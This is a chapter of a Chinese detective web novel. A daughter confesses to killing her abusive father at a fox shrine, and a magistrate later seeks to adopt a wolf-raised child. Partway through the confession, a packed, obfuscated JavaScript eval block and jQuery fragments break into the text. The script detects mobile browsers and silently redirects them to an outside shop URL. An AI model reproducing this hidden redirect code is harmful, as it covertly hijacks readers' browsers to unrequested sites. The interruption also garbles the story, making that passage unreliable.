19.狐妖怨2

作品:《少女探案实录

    众人不觉有些诡异。一直碎碎念的“铁柱”突然抬起头,两眼发光的看向人群,猛地朝向人群中扑去,


    一边扑还一边用手掐着人的脖子,挣脱一个,又来一个,场面一时陷入混乱,“铁柱”在人群中乱窜,而殷颂显带来的捕快们似乎隐身了,


    被“铁柱”追赶的村人,也不乏有长得人高马大的,但是看见复活的“铁柱”实在是诡异,出于人的本能也只能一直逃窜,


    不敢正面与之打斗,生怕被“铁柱”抓住,被他冤魂锁命。


    “该结束了吧!”上一刻还疯癫着的“铁柱”,此时就像一个正常人一样,两只手死死抵住了一只握着匕首的手,嘴角露着得逞的微笑。


    在暗处的殷颂显见时机已到,一个手势,各捕快就冲上去将匕首的主人扑倒在地,而紧关的大门也在此刻打开,月光倾泻下来,狐仙祠瞬间亮堂起来。


    被抓住的,正是死者铁柱的女儿盼弟。村人不明就里,殷颂显看着束手就擒的盼弟,问道“你不曾怀疑过,被你杀死的父亲,怎么会死而复生?”


    盼弟对上殷颂显探究的目光,冷笑一声,“活了又怎么样,我能杀他一次,就能杀他第二次,就算他坠入阴曹地府,我也不会放过他!


    若他来世为猪狗,我定杀猪宰狗把酒言欢!若他真有魂留于世,我要他身死魂灭!”


    盼弟神情冷漠,眼神似淬了毒,言语之间更是不加掩饰她对铁柱的恨。


    殷颂显明白,就算这是个圈套,她也一定会往里面钻,因为盼弟不允许铁柱活着,哪怕所谓人死复生的传言是如此荒谬,盼弟也绝不允许铁柱有一丝生的可能。


    不论真假,盼弟要的,是拥有父亲这个名头的铁柱的死亡,彻底的死亡。


    “我查过,你是木匠的得意弟子,死者身上的动物咬痕,是你背地里钻研的一种木工活,仿制动物的牙齿形状而成,”


    殷颂显将证据拿了出来,这是盼弟的师弟发现的,他天分不及盼弟,加之盼弟有时鬼鬼祟祟,师弟以为盼弟在接私活,


    便想待她与雇主交易时将其行径揭露,没成想一直没等到,却倒是记住了盼弟做的这个木工。


    殷颂显带人搜查盼弟在木匠做学徒的房间,终于发现了此物,拿去和死者尸体上的咬痕比对,确实合上了。


    但是这个案子,却不能简单的以物证来结案,无论是在端朝还是之前的朝代,子杀父,都是极其恶劣的案子,


    同样,若是抓错人,造成的民间影响更大,因此,必须得板上钉钉才行。


    盼弟看着殷颂显拿出的证物,没说什么,“我认罪就是了,我也没什么后悔的。”


    盼弟神情麻木,已不想再解释些什么。


    “我选在狐仙祠杀他,不过是为了让人们相信,是狐仙在惩处恶人。


    谁知,呵,他们不觉得他恶,甚至他们还将他说成一个被害的好人。


    这世道,真是反了。”


    村人一下沸腾起来,指责、谩骂、不理解,铺天盖地的言论向盼弟袭来。


    盼弟原以为她能平静以待,却在这一阵阵声讨的声音中,爆发出来。


    “张婶,是不是你说我娘肚皮不行,让那个男人把她休了!好娶你的寡妇妹妹!!!”


    “婶婶,是不是你说,那个男人没种,早晚得断子绝孙,让他早做打算,将家财给你男人!


    说什么好歹是一家人,要那个男人供你儿子读书,说什么你儿子毕竟叫他一声大伯,他以后肯定给他养老送终!!!”


    “还有你,是不是你劝我娘忍一忍,告诉她男人都是这样,还赖我娘是我娘自己不行,说那个男人不曾将她休了就是她的好福气!!!”


    “张叔,是不是你说,我小小年纪不学好,在男人堆里混,身子早脏了,让那个男人好好管教我,不要我去学木工?


    其实不就是因为你儿子没选上,我被选上了吗???”


    “李伯伯,你是不是对那个男人说,女孩子还是嫁个好人家比较重要,学什么木工呀,你说不嫌弃我长得五大三粗,想讨我给你儿子做媳妇?


    你儿子什么德行呀,在书院里读了二十几年书,到现在连个童生都没考上,读书不成,种地不行,做工嫌累,家徒四壁!!!”


    “还有你!你!你!你!


    你们统统都是他的帮凶!!!


    我娘死了呀,她死了呀,她这辈子活了个什么劲儿呀?”


    盼弟想到母亲,眼泪止不住的流。


    “我娘她做错了什么,是她怀不上那个男人想要的男孩吗?


    寒冬腊月,怀着身孕,我娘她还要洗衣做饭,洒扫缝衣,她有休息过吗,她有被体贴过吗?


    而那个男人呢,是,”


    盼弟冷笑,“是呀,他要种庄稼,还要挑到街上去卖,可他回到家,便什么也不做,他只有在我娘怀孕的时候,


    会买点好吃的回来,也不过是为了让我娘给他生个大胖小子,呵呵呵呵”


    盼弟捂住眼,眼泪却还是不争气的往下流,“他对我从来没有过好脸色,还嫌我浪费钱,我那时才几岁,


    五六岁,从来没有吃饱过,每天还要很早起来,帮我娘洗衣做饭,喂院子里的鸡鸭,”


    盼弟擦干眼泪,“我娘以前和我说,她这胎是尖的,肯定是个男孩,她说等弟弟出生以后,我和她的日子就会好点了,


    说什么,那个男人只是因为没有儿子传宗接代,所以才这样生气,呵呵”,


    盼弟深吸一口气,“我娘啊,从来喜欢给那个男人找借口,说什么他对她的不好都是因为她自己不曾给她生个儿子,


    我也曾经傻傻的相信,可是,我逐渐长大,才知道,其实就是那个男人,本身烂而已。”


    “这个世界,总是给他这样的男人找很多借口,以便顺理成章的虐待女人。”


    “那个冬天,他喝醉了,把我娘打了一顿,孩子就没了。


    他醒了就后悔了,却反过来怪我娘,非要在他喝醉的时候凑上来找打。”


    “我娘没和人私奔,更准确的说,是她终于决定和我一起离开这个地方了。


    我等这一天太久,她终于同意了,那是我这辈子最开心的一天,”


    想到这里的盼弟笑了,不一会儿又哀伤起来,“那天我等啊等啊等啊,却等来了她的死讯,她死了,她丢下我一个人了。”


    “可是为什么,那个男人还活着,他配吗?


    他凭什么?为什么?老天根本不长眼!!!


    为什么呀,我做学徒,学了些本事,出去不至于挣大钱,但是至少不会被饿死,我和她明明都可以过上没有那个男人的生活了,


    我们打算好,一起挣钱买个小房子,院子里种种花草,她可以像镇上的女人一样,买点胭脂来打扮自己,穿上好看的衣服,


    她可以不用去想,生孩子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223725|150561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的事情,也不用去想,洗衣做饭的事情。”


    盼弟声音哽咽了。


    “我打算换个名字,我喜欢木棉花,它开起来的时候红艳艳的,那样炽烈灿烂,可,在齐家村,这就是它的原罪。


    我想叫木棉,也这样热烈的活着。”


    “这一切都没了。


    我永远当不了木棉。


    所以,我决定毁掉他,如同他毁掉我们一样。”


    狐仙祠内寂静无声。


    十月缩在角落,之前“铁柱”和村人那场乱斗,她就躲起来了。


    她虽然不理解眼前这个人类说的话,却莫名的想去抚平她眉眼的哀伤,她也这样做了,她只会爬行,


    爬到木棉身边,手抓住她的衣角,然后像动物站立一样,借力站起来,用手去擦木棉的眼泪。


    殷颂显本想拉住她,但是木棉周围也围着几个捕快,做不了什么,便作罢了。


    这场轰轰烈烈的狐妖杀人案,就这样结案了。


    很快,殷颂显也带着捕快和木棉、十月回府衙述职。


    在回鱼轲的途中,木棉和十月相处得很融洽,十月一向十分防范人类,却对木棉很亲近,连殷颂显都比不了。


    木棉关在笼子里,十月也想往里挤,殷颂显犯愁十月呆在什么地方,本来担心她会害怕笼子,见此就将二人关在一起了。


    回城最快需要七日光景,在途中难免需要吃喝拉撒,在第四日,路过一处浅滩时,他们决定洗漱一番,


    殷颂显让笼子里的木棉和十月先洗,不曾给木棉取下枷锁,左不过打湿些水罢了,也算作是清洁。


    这一洗,木棉却闹了起来,说她不给男孩子洗澡,她讨厌男孩。


    殷颂显皱眉,因着十月防备生人,他本想亲自提溜着十月去洗澡,十月却拼命挣扎,还咬了他好几口,是以放弃了。


    在之后的路程中,十月想去找木棉,木棉都不曾搭理,十分冷淡。


    十月又自个儿呆着,不过因为他很久不曾洗澡的缘故,身上实在有些味道,也无人想去搭理。


    等着到了鱼轲,十月自然就进了育幼院。


    因着木棉的杀父情节恶劣,被判处了绞刑。


    十月自然不知,她要忙着对付育幼院的人类,刚进去没两天就找时机跑了。


    她也没地方去,就学着那些和她差不多模样的人蹲在地上。


    可惜,乞丐也是有地盘和势力的,她这样的外来者什么都不懂,就被这地盘的乞丐打了,当然,十月也用尖利的指甲抓回去了,


    只是寡不敌众,十月只能仓皇逃窜,自小在山里被狼养大的她,只能四处在城里蹿,找个暂时不被人注意的角落呆着,


    被发现只能又挨打又跑,她饿了又会去拿东西,吃不了几口就又要跑,反复如此。


    因着殷颂显吩咐过育幼院要看着十月,十月的失踪自然也报给了他。


    殷颂显揉揉眉头,想起最开始遇见十月的场景,又想起他死去的儿子,被抛弃在深山的孤儿,和失去至亲的孤家寡人,倒是挺配。


    他动了收养十月的心思,于是他开始找十月的踪影。


    最后,围绕着最近被偷吃食的一户人家的周围几条巷子,殷颂显用十月最喜欢吃的果子将她引出来了。


    若是给肉,十月是肯定抢不过那些乞丐的,可是生长在齐家村山上的果子呢,他带回来一些,这是最好吸引十月的东西。